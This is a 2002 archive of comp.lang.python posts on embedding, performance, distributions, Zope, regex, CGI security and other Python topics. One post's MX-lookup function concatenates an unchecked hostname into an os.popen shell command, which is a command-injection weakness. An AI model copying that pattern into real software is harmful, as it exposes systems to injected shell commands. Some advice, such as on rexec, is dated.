You may find it useful to make a > Python wrapper around rexec which customizes it to your need, and call > that wrapper from the C code. Ok, I could just look more into the "rexec" code, to see what is going on. > That won't help - one can modify sys.path to overcome that limitation. > The best way to not allow execution of dangerous code is not to > include such code in your binary in the first place. Good point, I drop that :-) > Not having to edit the Python source is a desirable thing to > do. Having a custom build of Python is IMO reasonable in about any > embedding application. I think I will try to handle Python mostly like a blackbox. If one start to reconfigure the code, one will be more locked in regarding Python versions and such. > Good luck! Thanks, I need that :-) /BL From gcordova at hebmex.com Wed May 8 11:05:58 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Wed, 8 May 2002 10:05:58 -0500 Subject: Whats so good about Python? Message-ID: <F7DB8D13DB61D511B6FF00B0D0F06233C1193D@mail.hebmex.com> > > People have said good things about Python but Ive never used it. > I use Perl and Java and C++. > Does that make it better or worse? -gustavo From rob at uselesspython.com Mon May 27 11:04:28 2002 From: rob at uselesspython.com (Rob Andrews) Date: 27 May 2002 08:04:28 -0700 Subject: Need help starting to learn Python. References: <63f2fcbe.0205261315.724c97ad@posting.google.com> Message-ID: <931a4b54.0205270704.322fdf48@posting.google.com> seraphim at linuxmail.org (seraphim) wrote in message news:<63f2fcbe.0205261315.724c97ad at posting.google.com>... > Hello, > > I am very interested in learning how to use Python. A while back I > became interested in learning it, but could not find resources in to > do so. My friend let me borrow his C book and I have got a little into > that, but as I was reading the statement about RC1 of Slackware 8.1, I > noticed a link to comp.lang.python. I decided to check it out. In > doing so my interest in Python has been spurred again. I was hoping > that someone here could point me to a really nice website to learn > Python with, like a tutorial. Also, book suggestions would be nice. > Please email me your links or reply to this post. > seraphim at linuxmail.org > > seraphim http://uselesspython.com features tutorials, links to more tutorials, tons of example source code for beginners to mook with, etc. Rob Andrews From lac at strakt.com Tue May 14 23:52:42 2002 From: lac at strakt.com (Laura Creighton) Date: Wed, 15 May 2002 05:52:42 +0200 Subject: OT: Crazy Programming In-Reply-To: Message from jmdeschamps@cvm.qc.ca (jmdeschamps) of "14 May 2002 05:51:28 PDT." <3d06fae9.0205140451.5ec335b1@posting.google.com> References: <mailman.1021198403.21335.python-list@python.org> <87offlnq3k.fsf@mathdogs.com> <chris-55B5FD.02324413052002@corp.supernews.com> <abnqdd$8bf$1@slb0.atl.mindspring.net> <23891c90.0205130956.6f0436a0@posting.google.com> <ht91eus6861nu2am7164l8ui9925rmu5sn@4ax.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> Message-ID: <200205150352.g4F3qgrW006420@theraft.strakt.com> > > This is exactly right, and it is an important point. As long as programs > > continue to be essentially "hand-crafted", we will never be able to build > > reliable large systems. Only when programming ceases to be art and moves > > into the realm of engineering -- like building a bridge or a building -- > > will we get the reliability that we really need in order to create the > > large systems that the twenty-first century demands. You appear to have mistaken Art for Handicrafts. All things which are designed are Arts. Being an art (or being a craft for that matter) has nothing to do with whether something is unreliable. There is a great deal of prejudice between 'Artists who hate Technology' and 'Technologists who hate Art', but at the top level of the profession -- you do both. Laura Creighton From moc.q-dnan-p at p-nand-q.com Fri May 17 08:23:24 2002 From: moc.q-dnan-p at p-nand-q.com (Gerson Kurz) Date: Fri, 17 May 2002 12:23:24 GMT Subject: nslookup References: <al6F8.64652$7R.73917@NewsReader> Message-ID: <3ce4f622.28197140@News.CIS.DFN.DE> On Fri, 17 May 2002 13:55:57 +0100, "ian" <iwaters at btclick.com> wrote: >hi i posted a message similar to this not long ago >but the solutions reguired me to import >third party lib's > >can any one post some code to perform an >nslookup type of reguest >so i can get a list of mail exchangers for a given >domain > >cheers > > import os, traceback def MxRecordLookup(hostname): "Returns a sorted list of (preference,server) for hostnames' MX record" nslookup_binary = None result = [] if os.name == "nt": pipe = os.popen(os.path.join(os.environ["WINDIR"], "SYSTEM32\\nslookup.exe") + " -query=mx " + hostname) for line in pipe.readlines(): index = line.find("mail exchanger") if index >= 0: server = line[index+14:].split()[-1] preference = 100 index = line.find("MX preference = ") if index >= 0: preference = int(line[index+16:].split()[0].replace(","," ")) result.append( (preference, server) ) pipe.close() else: pipe = os.popen("/usr/bin/nslookup -silent -query=mx " + hostname) for line in pipe.readlines(): index = line.find("mail exchanger") if index >= 0: tokens = line[index+16:].split() if len(tokens) == 2: tokens[0] = int(tokens[0]) result.append( tuple(tokens) ) pipe.close() result.sort() return result From ak at silmarill.org Wed May 29 23:46:29 2002 From: ak at silmarill.org (Andrei Kulakov) Date: Thu, 30 May 2002 03:46:29 GMT Subject: Another stupid question... References: <ad03jf$te1jk$1@ID-146704.news.dfncis.de> Message-ID: <slrnaf8hrf.ae6.ak@ak.silmarill.org> In article <ad03jf$te1jk$1 at ID-146704.news.dfncis.de>, Shagshag13 wrote: > > Well i don't know why but i can't use up and downs key in python prompt line > (>>>) > I had the same trouble for erase key but after adding : > > stty erase "^H" > > in .bashrc, it works fine. > > But i still don't know how to do it for up key (i get ^[[A) and down key > (^[[B) > > Thanks in advance, > > S13. > > You need to re-compile python with readline enabled. Uncompress python and go to Modules dir (iirc), then edit Setup file and uncomment line that enables readlines. (to find it, simply search for "readline"). Then recompile. -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From gusraan at terra.com.br Fri May 17 22:44:35 2002 From: gusraan at terra.com.br (Raphael Ribeiro) Date: 17 May 2002 19:44:35 -0700 Subject: Problem in ZOPE and python Message-ID: <337619fa.0205171844.6bde2256@posting.google.com> I have recently installed ZOPE 2.5 and before that i had installed ActivePython 2.2 , but at zope info page it is like that: Zope Version (Zope 2.5.0 (binary release, python 2.1, win32-x86), python 2.1.2, win32) Python Version 2.1.2 (#31, Jan 15 2002, 17:28:11) [MSC 32 bit (Intel)] System Platform win32 And then , can't i compile zope with ActivePython , or can't i compile extensions to zope using the active state version? I want explanations with that , for i'm very confused here , don't know what to do... From whisper at oz.net Tue May 21 14:07:02 2002 From: whisper at oz.net (David LeBlanc) Date: Tue, 21 May 2002 11:07:02 -0700 Subject: Couple of Qs: ActiveState or "standard" distribution? (and GUI toolkits) In-Reply-To: <20020521103220.D27244@ActiveState.com> Message-ID: <GCEDKONBLEFPPADDJCOEEENIDDAA.whisper@oz.net> Yes, my error - it's ActivePerl that has the WHS extension. I also overlooked the Windows help file since I don't use them or the proprietary PPM utility. You still can't redistribute ActivePython though... David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Trent Mick > Sent: Tuesday, May 21, 2002 10:32 > To: David LeBlanc > Cc: Chris; python-list at python.org > Subject: Re: Couple of Qs: ActiveState or "standard" distribution? (and > GUI toolkits) > > > [David LeBlanc wrote] > > The difference between AS Python and Python.org Python are: > > > > * AS Python includes PythonWin. PythonWin is available separately for > > python.org Python. > > * AS includes a Windows Scripting Host interface that is not otherwise > > available anywhere AFAIK. > > * AS distribution can't be redistributed under the terms of > it's license > > without permission. > > > > So, if you want to do Python scripts/macros in Excel or Word (or IE?), > > you'll need to get AS Python. If that's not so important to > you, then it's > > either or... If you want to bundle a Python distro with an app and > > redistribute it, python.org Python is the only choice compared > to AS Python > > (there are, or where, other distros of Python - see > www.pythonware.com for > > one). My choice has to been to lean towards what I see as the more open > > solution of python.org Python and the separate PythonWin distribution. > > This is not accurate. ActivePython does not have any special WSH > interface that is not available otherwise. > > Here is a description of what you get with ActivePython: > http://www.activestate.com/Products/ActivePython/more_information.plex > > The differences with the PythonLabs distribution are basically: > - On Windows, Mark Hammond's PyWin32 distribution is installed by > default. This package includes PythonWin (a Python IDE), and > interfaces to the Win32 API and Windows COM. > - more bundled documentation > - On Windows, documentation comes in compiled help format, .chm. > (Although I think very recent PythonLabs' installers do too?) > - A fancy MSI installer on Windows > - PyPPM. This is a command line tool that makes it easy to installer > certain popular third-party Python modules, like PIL, Numeric, > PyChecker, PyXML, etc. > > Cheers, > Trent > > > -- > Trent Mick > TrentM at ActiveState.com > > > -- > http://mail.python.org/mailman/listinfo/python-list From tgagne at ameritech.net Thu May 2 07:41:38 2002 From: tgagne at ameritech.net (Thomas =?iso-8859-1?Q?Gagn=E9?=) Date: Thu, 02 May 2002 07:41:38 -0400 Subject: Golfing in 'your-language-here' References: <3CCD6D8B.80C387E3@ameritech.net> <3CCE16F0.3020108@hgardner.com> <3CCE90B0.66B8C6AD@ameritech.net> <50f2f950.0205011543.79e7bb9d@posting.google.com> Message-ID: <3CD125F1.29C02AEA@ameritech.net> I'm inclined towards Smalltalk for my first cut, moving on to Java and/or Python next, but the Palm thing is new to me. Are you saying I can develop an app in Dolphin and port it down to PalmOS? I think a neat application for the Palm would be a score card application. Not that I expect it to be remarkably powerful at first--just a replacement for the paper and pencil. It would be kind of cool if it could interface with PalmOS' address book application to select players... I would also be fun to be able to upload the scorecard--and to download the course information into PalmOS--complete with yardages from the different tees--but we haven't added those variables yet to the GolfHole class... Michael Chean wrote: > Since you're inclined toward Smalltalk have you thought of using the > Palm version which I think allows you to develop in Dolphin first? > > -- .tom From jb at cascade-sys.com Wed May 8 05:14:23 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 08 May 2002 02:14:23 -0700 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <82bsbvl5q1.fsf@acropolis.localdomain> <ab3ebr$9o7$1@panix1.panix.com> <82adrehag0.fsf@acropolis.localdomain> <ab40pf$ajd$1@panix3.panix.com> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> Message-ID: <3CD8EC6F.3B837228@cascade-sys.com> Peter Hansen wrote: > "James J. Besemer" wrote: > > > > A lot of real-world applications require performance approximating the > > underlying CPU speeds > > Disagree. A lot of real-world applications may say that, but in fact > they simply need some fixed but often unspecified performance and > they might have chosen a slower CPU than they should have. Few projects > are based on adequate analysis of the relative costs of a bit of > faster hardware versus a longer development cycle. I have seen that mistake made so I agree it does happen. However I don't believe it's nearly universally the case as you make it out to be. In the printer prototype example I cited we had to upgrade to increasingly faster computers several times during the project. Our C code (with critical sections hand coded in assembly) simply could not keep up with the increasing custom hardware speeds. The algorithm is highly proprietary and I can't go into any detail but it is the most complex transformation of bits I've ever encountered. In the end we had to deploy multiple CPUs in parallel to keep up. There is absolutely no friggin' way Python could have come close to helping solve the problem. There were some ancillary tasks in this project which I did code in Python. E.g., compressing and decompressing raw image data per several local standard encoding schemes. It worked ok for my original small test case but for large images, Python took, like 20 minutes, vs. a C app that could do the job in 10-15 seconds. There was no point in a Python/C++ hybrid solution, as once you had the main compression algorithm completed there was nothing else much to do. And the algorithm itself was prosaic enough that there was no significant productivity gain in using Python. I imagined that performance would not be an issue and I was completely wrong. I did successfully use Python to extract some statistics from image data. Images were large and pixels in a given plane were packed 2 per byte. The runtimes, although orders of magnitude slower than if I had used C++ were marginally tolerable for this occasional task. However, if I hadn't been so attracted to Python, in all honesty I probably would have done better by my client NOT dinking around with Python and simply writing the damn thing in C (but that wouldn't have been as much FUN!) I've done a lot of work in past lives with image processing. This is another large class of applications that tends to be so labor intensive that Python would certainly not excel, if it worked out to be suitable at all. E.g., there's a popular algorithm that takes multispectral image data (N floats per pixel) and classifies the data points into distinct groups of similar color characteristics (M groups in N space). The algorithm IIRC consists of computing each points' geometric distance from the center of mass of each existing group, then reclassifying the points into whichever group they're closest to. So with images several thousand pixels on a side (by N planes deep) this is a hell of a lot of number crunching. Then, the algorithm iterates until no points change classification. There's a bunch of mathematics that shows this always converges and works well. In Earth resource images where a swimming pool is 1 pixel, it can properly pick out the pool. (In one case on a popular image (directly overhead) they were temporarily puzzled once when the system said the pool was concrete instead of water. But they checked the records, and yes, the pool had been drained that day.) Another algorithm is two dimensional FFT. You do a one dimensional FFT on each row and column on each plane of your image. Then you can apply various filtering and then you reverse the FFT transform. Very expensive and if you did it in Python you'd very soon be reaching for C or some other 'faster' language. These are but two example of computations unsuitable for Python out of an entire application domain where I expect Python would have a lot of trouble. And this isn't even real time image processing! [Of course, now somebody is going to point me to some Python C extension for processing Image data.... ;o} But my main point still holds unless the entire library is written in Python. ;o] > For mass market hardware, clearly cost of hardware rules. Exactly. And in the commercial world, this is the case arises more frequently than you seem willing to admit. In my printer example, the manufacturing cost drives the entire business model. When you are manufacturing millions of units in a highly competitve market, every dollar saved here and there add up, well, to millions of dollars, annually. The one-time cost of programmer time in contrast is absolutely INSIGNIFICANT. They basically develop and prototype and debug the entire application and when it's debugged and working 100% only THEN the does the development team rewrite everything in efficient C for the version that runs in ROM. (They actually start earlier with the parts that are unlikely to change.) Even though the software development cost is measured in dozens of person years it's still pales in comparison to a slight increase in manufacturing cost. And this is an environment where very sophisticated custom hardware already does a lot of the truly labor intensive work. I don't think most people begin to fathom the complexity of modern color printers. Fact of the matter, the software cost is even more insignificant in the context of the overall development cost. There are IC designers, ink jet specialists and armies of mechanical engineers. Entire labs full of chemists focus on just one ink color. Engineering labs all over the world collaborate on a single commercial print head. There's a huge staff of specialists who maintain the vast knowledge base of all the 'tricks' they have to employ to get good color pictures out what essentially are 4 bit pixels. Thousands of engineers and scientists collaborate for years on that $199 color printer you buy that prints amazingly good images (at least at first ;o)... In this case, the hardware budget for software RAM, ROM and cycles is very carefully estimated based on many past projects. They have a high degree of confidence that the software will fit in the allocated space and be able to do its job with just enough reserve to be safe. This is another reason that the choice of hardware is far from arbitrary, as they cannot blithely abandon their experience base, tools, etc. The outcome of experimentation with the prototype was that yet another layer of the most labor intensive bit diddling would move from software into custom hardware. The marginal manufacturing cost of the custom hardware was ZERO, since, as it was, virtually all the electronics fit into 2 or 3 custom chips as it was. A frew more sq mm of silicon doesn't matter a bit. A slight savings in one-time software development was traded off for a big cost in one-time HW development in order to get the overall application to fit in the existing hardware architecture. A marvel of modern engineering. > For custom/one-off projects > <warning reason="blanket statement"> much faster hardware combined with > Python would be a far better choice than slower/cheaper hardware > and a solution in C </warning>. In some cases I would agree but like all generalizations it's ultimately false. I myself HAVE found Python to be suitable for some of these applications. E.g., we used Python as a printer driver to test serial and USB I/O in a variety of configurations and operations. Of course, it was more economical to implement a number of the low level functions in a DLL. But Python told the DLL what to do and everything progressed to a happy ending (and subsequent repeat business). I myself am presently working on another application where Python will control a variety of external devices in real time. In this case I am confident that performance will not be a problem as the frequency of events is sufficiently low and the real time constraints are loose enough that signals can be propagated via TCP/IP over a LAN. > Well, with a slow enough CPU, any language may be inadequate. Contrariwise, > with a fast enough CPU, Python can certainly be fast enough for the job. (a) Certainly there are CPUs below which any language may become inadequate. HOWEVER, an interpretive language like Python will run out of gas an order of magnitude (or two or three, depending on the application) sooner than, say C. (b) Your second part may hold in SOME circumstances IFF cost is no object, which frequently is NOT the case. (c) I submit that there are many applications where Python would be inadequate with even the fastest CPU possible. And for the foreseeable future, no matter how fast CPUs become, there always will be some interest in preferring faster languages to get the job done faster or with less hardware. E.g., there are many hugely cpu intensive application, such as meteorological modeling, cracking encryption codes, atomic bomb simulations, solving complex aerodynamics and hydrodynamics problems, modeling complex analog or digital circuit behavior, real time image compression and decompression, floating point emulators, etc, etc.. While for argument's sake I'll stipulate that there's no reason Python could not perform any of these tasks, there are always going to be "many" applications like this where there are economic or other practical reasons to instead choose a language that is more runtime efficient. > What project have you seen where the requirements said "must run as > fast as can possibly be achieved, at all costs, regardless of choice of > implementation language, duration of project, or other concerns." Nobody ever said that. And I thought you gentle folks were supposed to eschew SARCASM. I come from a commercial background, not academic. In my career I have seen MANY examples where cost or available hardware was insufficient to allow an interpretive language to be fast enough. I also have seen cases where the problem arguably was that inadequate hardware was selected in the first place. But usually by the time the the problem is known (or finally acknowledged by upper management) it's too late to correct and software people have to live with it anyway. I've seen it happen TOO MANY times. Although arguably the wrong way to do things, this type of SNAFU still counts on my side of the argument. The real world is not a particularly pretty place; it's far from perfect. > I'm sure there are some close to that, but they are not widespread > and don't justify the "there are many situations" claim. Your experience clearly is different from mine. > Well please, let's stick to reality-based discussions. There you go again, with that nasty SARCASM. Actually, this is kind of fun. In a way I'm being REALLY sarcastic without really being sarcastic at all. ;o) > Obviously there > are places where Python simply won't fit, so discussing whether it > is fast enough (that was the topic) in those applications is pretty > meaningless. My point was that IF it would fit it would have still been too slow to do the job in this case. This was another example where cost AND space constraints (for the computer) did not allow an arbitrarily powerful CPU and hence Python was not 'fast enough' because it could not perform at all. Incidentally the example is doubly poignant since there IS a C compiler for this particular little 8 bit chip and most of the APP was done in C (including a 48 bit floating point math package). But if you wish to discount this example, the same client had another example.... These probes all fed into a single PC that had to accept these thousands of readings per second (several hundred bytes per sample) from up to 10 probes. Additionally, it had to transform the raw readings into meaningful data for a complex physical phenomenon (multiple scale factors, multiple table lookups, etc. etc.). Of course it had to do all this without ever lagging behind and without dropping a single bit. We were just barely able to achieve this spec. on a 1.2G Hz PC with a modern C++ like language that shall remain nameless. We started out with slower machines that did not work and were forced to scramble to find successively faster machines until the HW+SW could keep up. We worked some on the software but savings were marginal and comparatively costly. Here again is yet another application where I submit Python, at 1-2 orders of magnitude slower, simply would not have been able to keep up. Maybe when there are 5 and 10 G Hz PCs readily available, but not today. As it was, the more expensive PC (which was part of the deliverable) ate noticeably into the $5K product price vs. the 600 MHz one we originally targeted. For the record, I came late to the project to help clean up the mess; I was not involved when the original specs and HW assumptions were casually considered. I'm certainly not complaining or damning Python. It's simply a reality that many apps push the envelope into that region where the difference between running approximately at machine speed vs. several times slower makes a difference either in economics or in the ability even to accomplish the task. > I have, however, used Python in a number of other areas including: > > - web applications (Zope, with an Intranet running on basic hardware serving > a company of 100 people), where response time is important > - automated factory test (controlling RF equipment via GPIB, serial, and > CAN interfaces and providing a GUI and an output stream in XML), where > total test time is critical to factory production rates > > - embedded control and monitoring (running on 386 and 486 chips on PC104 > boards with from 1MB to 32MB RAM and flash memory, monitoring and > controlling dozens of external devices via a triple CAN interface), > where scan rates are important (soft realtime) and bandwidth matters > > - basic sys admin utilities (wow! so I do have some experience there... > go figure), where generally speed is quite unimportant > > - probably a couple of other areas I've forgotten. Impressive resume. Seriously. I would submit that these are all "less time critical applications," for which I stipulated up front that Python can work just fine. Both of your "real time" examples seem to be "soft real time" not balls to the wall stuff. In fact, a lot of so called "real time" applications may have critical timing requirements but they do not require a lot of CPU time. A significant portion of the time CPU is waiting for the right moment to trigger or measure a time critical phenomenon. All of which is meet and proper. If you don't do it this way you get into trouble. But sometimes there is no choice. Anyway, I am not and never was disagreeing that your personal experience never included any examples. I certainly don't mean to criticize your work as you clearly have delivered some substantial product. I was only saying your experience must be "limited" if it does not include examples where Python isn't fast enough. > Perhaps this /is/ limited experience from which to draw conclusions... Well I would respectfully and humbly suggest that your experience is "limited" BY DEFINITION if in your 2 years with Python you never encountered any apps where Python would be too slow. Meanwhile in my 3 years I encountered "many" and furthermore can readily remember/predict quite a few others besides. > Ohh... you must have misread my comments. Please go back to the top > and find where I said that I objected to the claim there were "many > situations where Python is too slow", not what you say I said, which > is apparently more like "Python is never too slow". > Just because you THINK > I said something doesn't mean I ACTUALLY said it. First off, here you misinterpreted MY comment. I was offering the well intentioned generic advice that IF your principal argument is of the form It never happened to me (or I never saw it) ergo it cannot not possibly be true THEN you're probably on the wrong side of the argument. Its a fundamental logical error (and arrogant) to extrapolate your own private reality to the rest of the universe. Second off, I did not misrepresented your words in any material way. Perhaps I did misunderstand you when you said, >> PH: I have not yet found python to be 'too slow'. I believe this is a common myth or >> nasty rumor, without strong basis in reality. > However, if I did, the misunderstanding does not appear to be my fault. >From your very words one could only reasonably conclude that "this" in the second sentence meant "python to be too slow". (Else you'd merely be contradicting your first sentence.) So you clearly appear to be saying (I take the bold liberty to paraphrase) that you believe python being too slow is a common MYTH or nasty RUMOR. Myth = traditional story or belief not founded in fact. Rumor = information spread by word of mouth but not known to be true. And we're not merely talking rumor, we're talking "nasty rumor" which further suggests it's completely scandalous and untrue. Python too slow is a "MYTH." The strength of your statement DID seem to state very clearly that python being too slow practically NEVER happens. If you are saying that you MEANT to say something else, it is perfectly reasonable, because what you said seems to be to be demonstrably untrue. But you can't deny your own words or accuse me of distorting what you said. In any case, to be fair, I took the overall meaning of your statement to mean that you merely object to "many" and that is the only argument I have presented all along. You are saying "not many" i.e., "hardly any", not "never" but "almost never." I am broadening your horizon by informing you that, based on MY humble experience, yes, there are in fact MANY examples of applications where Python would be too slow. > I just haven't encountered any myself (as I said) > and I object to the > statement that it will /often/ be the case that it is found to be too slow. > I believe quite the opposite, if it wasn't clear: it will /rarely/ > be the case that Python is found to be too slow. (a) Nobody ever questioned or criticized your experience. I only suggested that it was not representative of all applications. (b) Neither Patrick W nor I ever said or implied that Python "often" would be too slow. (c) I don't think I misunderstood or misrepresented your position. You're saying the cases are insignificant in number and I respectfully am trying to point out your error. I don't see how you can disagree. (d) I am arguing "many" which means a significant number of cases but not necessarily even the majority of cases. My position is consistent with your backing off to "most of the time it's NOT too slow but, yes, 'many' times it can be." Perhaps that's a fair place to leave off on this argument? > 'Nuff said? Only if you concede all the points I make in my reply, above [as any logical and reasonable person would do ;o]... Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From ph at sxb.bsf.alcatel.fr Wed May 15 07:23:13 2002 From: ph at sxb.bsf.alcatel.fr (Pierre HANSER) Date: Wed, 15 May 2002 11:23:13 +0000 (UTC) Subject: Multibyte Character Surport for Python References: <mailman.1020939916.19833.python-list@python.org> <abqrak$nln$1@nyheter.chalmers.se> <7a8E8.41035$CN3.1405517@news2.tin.it> <87r8kddh2i.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <abtgf1$1mg$1@mephisto.sxb.bsf.alcatel.fr> In article <87r8kddh2i.fsf at tleepslib.sk.tsukuba.ac.jp>, "Stephen J. Turnbull" <stephen at xemacs.org> writes: > >I suspect that your argument about usefulness of English identifiers >is not at all robust outside of native speakers of European languages. > As a french guy, I often code comments in french in my personnal code, and would do the same for identifiers if it was legal in the languages I use. Even if I can read english, I often find it too poor to explain nicely some subtilities of the code. -- Pierre Hanser From kragen at pobox.com Fri May 17 03:14:38 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 17 May 2002 03:14:38 -0400 Subject: Beginner: HTML Parsing References: <abunna$9s2$1@slb2.atl.mindspring.net> Message-ID: <83d6vvxn35.fsf@panacea.canonical.org> "J. David Lashar" <dlashar at sprynet.com> writes: > As a beginner, I'm working through the O'Reilly books mentioned in an > earlier posting, but I haven't found much guidance on parsing an HTML file > once I've pulled it down with httplib. And I'm finding the Python Library > Reference to be a bit cryptic. Could someone point to resources or provide > examples? If possible, use Perl and HTML::Parser (or HTML::LinkExtor if that's what you want) instead. Python doesn't yet have anything nearly as good. From cbarber at curl.com Wed May 8 17:45:42 2002 From: cbarber at curl.com (Christopher Barber) Date: 08 May 2002 17:45:42 -0400 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <mailman.1020695950.14919.python-list@python.org> <3CD7150E.E7D3DC76@engcorp.com> <24c39b2c.0205081117.50db4bb5@posting.google.com> Message-ID: <psovg9yjou1.fsf@jekyll.curl.com> ajeru at vknn.org (Alexander Jerusalem) writes: > What OO does is to make one (the first) parameter special. The class > of that parameter will be searched to find the method that should > actually be called. The first parameter isn't passed in as all the > other parameters. To be fair, that is only one particular flavor of OO. In Dylan and several other languages, method selection is based on the dynamic type of all of the arguments, not just the first. This type of dispatch is often called "multimethods" or "generic functions". It is hard to do this type of dispatching efficiently but there has been some interesting research in this area. I personally have mixed feelings about this type of dispatch, but it definitely makes sense for operator overloading. - Christopher From jason at tishler.net Wed May 8 10:11:21 2002 From: jason at tishler.net (Jason Tishler) Date: Wed, 08 May 2002 10:11:21 -0400 Subject: Creating C modules for Python under Cygwin In-Reply-To: <j4g012ycit.fsf@informatik.hu-berlin.de> References: <3CD41CC4.5752F30C@wag.caltech.edu> <j43cx6ilpq.fsf@informatik.hu-berlin.de> <20020506131744.GD1668@tishler.net> <mailman.1020694211.2354.python-list@python.org> <pNwB8.9120$zW3.232547@news1.tin.it> <20020506165922.GN1668@tishler.net> <j4n0vd40rq.fsf@informatik.hu-berlin.de> <20020508134242.GF1700@tishler.net> <j4g012ycit.fsf@informatik.hu-berlin.de> Message-ID: <20020508141120.GI1700@tishler.net> Martin, On Wed, May 08, 2002 at 03:50:18PM +0200, Martin v. L?wis wrote: > Jason Tishler <jason at tishler.net> writes: > > > I asked the above question on the Cygwin list. Someone pointed out > > that even though the Python library is static, there still would be a > > dependency on the Cygwin DLL. So, it is impossible for Cygwin Python > > to be completely self-contained (i.e., statically linked). > > I wonder whether it is possible to compile Python in a Mingw > configuration, though. Appears so: http://mail.python.org/pipermail/python-dev/2002-March/020741.html However, I presume that one loses (most/all) Posix functionality. Jason From donn at u.washington.edu Tue May 21 13:00:32 2002 From: donn at u.washington.edu (Donn Cave) Date: 21 May 2002 17:00:32 GMT Subject: How to know if a popen*() was successful? References: <acc54g$3uo$1@peabody.colorado.edu> <acd04t$aki$1@wanadoo.fr> <acdrg9$21k$2@peabody.colorado.edu> Message-ID: <acdufg$1l36$1@nntp6.u.washington.edu> Quoth Fernando Prez <fperez528 at yahoo.com>: ... | Thanks for the suggestion, but as I said furhter (and you acknowledged), I | need this to work under windows, as much as I dislike that piece of trash. Wonder if it would be better to attack the problem separately at a higher level, rather than trying to make these two platforms work the same at this level. Especially if Windows support eventually means a Python pager substitute - surely there's a better way to bring that up than popen. The problem is difficult enough even on UNIX, because as Kragen Sitaker already pointed out, the child process state as seen by the parent depends on scheduling of the respective processes. If it means writing a temporary file, do that. Donn Cave, donn at u.washington.edu From markus.vonehr at ipm.fhg.de Fri May 31 09:55:34 2002 From: markus.vonehr at ipm.fhg.de (Markus von Ehr) Date: Fri, 31 May 2002 15:55:34 +0200 Subject: socket module and broadcasts ? Message-ID: <3CF780D6.DFEDCFB7@ipm.fhg.de> Hi everybody, my python client has to connect to a server on an embedded system (TCPIP). The IP-address of the server may change and I'd like to get the address with a broadcast. A friend told me that broadcast-messages are only possible using UDP, anyone already did a IP-number query? Thanks for any comments, Markus From jepler at unpythonic.net Wed May 1 12:50:31 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 1 May 2002 11:50:31 -0500 Subject: "First-class objects" (was Re: Python vs. Perl, which is better to learn?) In-Reply-To: <m3ofg0pik0.fsf@chvatal.cbbrowne.com> References: <mailman.1020222424.15831.python-list@python.org> <m3ofg0pik0.fsf@chvatal.cbbrowne.com> Message-ID: <20020501115030.D22158@unpythonic.net> > Centuries ago, Nostradamus foresaw when "Mark McEahern" <marklists at mceahern.com> would write: > > Could you give us a concrete example where the use of regular expressions in > > Perl is superior to Python? > On Wed, May 01, 2002 at 01:02:07AM -0400, Christopher Browne wrote: > Well, in Perl, they're "first class objects," as it were, requiring no > extra references to functions to get them to function, as a base part > of the language syntax. I always thought that "first class" meant a type of object that can be passed as an argument in a function.[1] In that sense, Python REs (as well as almost everything else in Python -- functions, instances, bound methods, ...) are first-class, because you can write def group(x): return r'\(' + x + r'\) digit = "[0-9]" date = group(digit * 4 + "/" + 2*digit + "/" + 2 * digit) date_re = re.compile(date) w = some_graphical_widget() w.set_valid_format(date_re) In Perl, I'm pretty sure that &some_sub(/\(\d\d\d\d\/\d\d\/\d\d\)/); does not pass a regular expression into some_sub, it passes the result of matching that RE with the contents of $_. Jeff [1] From http://www.owlnet.rice.edu/~comp210/97fall/Labs/lab06/ First-class functions The term first-class refers to the idea that values can be * part of data structures, * formed at run-time, * arguments to functions, and * returned by functions. It's often said that functions are first-class in C (well, at least I've heard it said) since they can be part of data structures, be passed to functions or returned by them. However, they cannot be formed at runtime in C, so they may not be "first class" in the most stringent sense. From larooy at xtar.co.nz Thu May 16 17:00:25 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Fri, 17 May 2002 09:00:25 +1200 Subject: how to determine an 'open' string? References: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com> <mailman.1021568488.15773.python-list@python.org> Message-ID: <20020517090025.04369a30.larooy@xtar.co.nz> On Thu, 16 May 2002 18:59:17 +0200 holger krekel <pyth at devel.trillke.net> wrote: > > i think that's it. very nice! > > i might try to shorten it a bit, though :-) > > thanks, > > holger > > is this short enough for you? import re def quoteopen(s): quot=re.compile("(?P<quot>\"\"\"|'''|\"|').*?(?P=quot)") s=quot.sub("",s) return "'" in s or '"' in s John From mark at freelance-developer.com Wed May 15 09:25:01 2002 From: mark at freelance-developer.com (Mark Nenadov) Date: Wed, 15 May 2002 09:25:01 -0400 Subject: Best book for python? References: <ue4h4se7khug08@news.supernews.com> Message-ID: <JetE8.45011$Yt.2084615@read1.cgocable.net> obantec support wrote: > I need to get up to speed on python so am looking for a book. > Quite a few at amazon to choose from. > Any recommendations? I would recommend "Programming Python 2nd Edition" by O'Reilly. -- ~Mark Nenadov (Software Developer for Hire - http://www.freelance-developer.com) From nookieNO_SP_AM at online.no Thu May 23 08:53:38 2002 From: nookieNO_SP_AM at online.no (Erlend J. Leiknes) Date: Thu, 23 May 2002 12:53:38 GMT Subject: Python cross-site scripting exploits? References: <DuIBcWA5WK78Ewyc@jessikat.fsnet.co.uk> Message-ID: <mD5H8.4099$fG3.139824@news2.ulv.nextra.no> The python cgi lib doesnt offer any security at all. The url entered by the client is the one that will end up in your cgi script, and you will have to perform your own security checks on it, which I think is a good thing (Who want your programming language to halt your work in a windoze way?) from www.python.org online docs (http://www.python.org/doc/current/lib/cgi-security.html) 11.2.6 Caring about security There's one important rule: if you invoke an external program (via the os.system() or os.popen() functions. or others with similar functionality), make very sure you don't pass arbitrary strings received from the client to the shell. This is a well-known security hole whereby clever hackers anywhere on the Web can exploit a gullible CGI script to invoke arbitrary shell commands. Even parts of the URL 